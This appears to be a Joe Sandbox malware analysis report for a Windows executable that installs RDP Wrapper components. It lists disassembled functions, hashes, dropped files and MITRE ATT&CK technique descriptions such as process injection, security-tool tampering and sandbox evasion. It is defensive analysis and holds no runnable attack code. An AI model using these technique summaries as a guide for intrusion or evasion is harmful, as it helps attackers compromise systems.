Opcode ID: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction ID: abf7b61c1320a37f19f23f54b7b1c16b8e1f28cb69a34480c51c1f01e8ca554a
Opcode Fuzzy Hash: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction Fuzzy Hash: 8AF062322003145BEF106A619CC2B1677989F15714F100037FB007F2C3D6BC9C60466F

Function 004059C6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405A9A

Strings

$$@, xrefs: 00405AF6

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction ID: fff674c7101e68f6d73d2d8a69124ddc370c84ad249f2bdacb9cff7d7fa155c1
Opcode Fuzzy Hash: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction Fuzzy Hash: 1C418C75304A019FD720DB14D884B2BB7A5EB89314F69867AF444AB392C738EC41CF69

Function 0040589A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405906
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_0000589C), ref: 00405943

Strings

$$@, xrefs: 0040596E

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction ID: 4b325d1a8302ad8f82e944498d23502563e7d009f61a8d4e6d3783212fd5e4e2
Opcode Fuzzy Hash: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction Fuzzy Hash: 533141B4604700EFD720DB10D888B6BBBA9EB84724F54857AF448A7291C738EC40CF69

Function 00411498 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

, xrefs: 004114F8

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID:
API String ID: 3303714858-3916222277
Opcode ID: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction ID: da40258a30b1bf54e866a7fbbaf5cc9082ba5d6ba5cf06b5a9e2a769468a01f6
Opcode Fuzzy Hash: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction Fuzzy Hash: 2C21BB31A04254AFC711DF64C8556EA77B5EF49300F4140A7FD45E72A1D6389E50C7AA

Function 004150E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00415102
GetSystemMetrics.USER32(0000004A), ref: 00415153

Strings

p[D, xrefs: 0041512D

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleMetricsSystemThread
String ID: p[D
API String ID: 3035471613-2202972244
Opcode ID: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction ID: 0794bcb2409efff6a4af82a72d6dc306925be2e2831a755ee0de451743422fb7
Opcode Fuzzy Hash: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction Fuzzy Hash: 4A010430A00650EADB129E6658813D27BD49B82315F48C0BBED489F387D63CD881C77A

Function 0043A688 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443D31,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A693

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

Wow64DisableWow64FsRedirection, xrefs: 0043A69E
kernel32.dll, xrefs: 0043A68E

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 1646373207-3689287502
Opcode ID: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction ID: 7cbe884eb00d1b8f8e0b90a93abb1152f64afda344a6e4615680911855581588
Opcode Fuzzy Hash: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction Fuzzy Hash: D4E012513883C21AD61276FA1DD2B2E26CC4B6D709F2C287FB5C0D1193D99DC468863F

Function 0043A724 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443E55,000001F4,000001F4,000003E8,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A72F

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

Wow64RevertWow64FsRedirection, xrefs: 0043A73A
kernel32.dll, xrefs: 0043A72A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 1646373207-1355242751
Opcode ID: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction ID: 7f98099b70b18dc0c665e624c368f4c8ddeaec672eef30118536404a03429535
Opcode Fuzzy Hash: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction Fuzzy Hash: FBE0C2013883C21EE60272F90DD1B3A17D84B6C308F24183FB1C0D1183DB9CC524862F

Function 00415B40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,0044313B,00000000,0044315A), ref: 00415B46

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 00415B41
GetDiskFreeSpaceExW, xrefs: 00415B51

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction ID: 4ad585b0bbb22d8cb86f0bca7bf1fd5c676b9542b5302fef9f3b12a8682de55f
Opcode Fuzzy Hash: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction Fuzzy Hash: 92D0C7B4745F85DBFF10DBA55D83BD62254E785309B10043B70046D2D3D67C6894CB1D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hloRQZmlfg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

C:\Program Files\RDP Wrapper\rdpwrap.ini

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hloRQZmlfg.exe_e14f1ae934bde6c6503b1e1bfaf2ffefa86c324_8c8de2e2_89409a0e-f3ad-4606-acec-29704ed3c812\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER91CD.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER93C2.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9597.tmp.xml

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

C:\Windows\System32\rfxvmt.dll

C:\Windows\appcompat\Programs\Amcache.hve

\Device\ConDrv

\Device\Mup\226546*\MAILSLOT\NET\NETLOGON

Static File Info

General

File Icon

Windows Analysis Report
hloRQZmlfg.exe

**\Device\Mup\226546*\MAILSLOT\NET\NETLOGON**

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre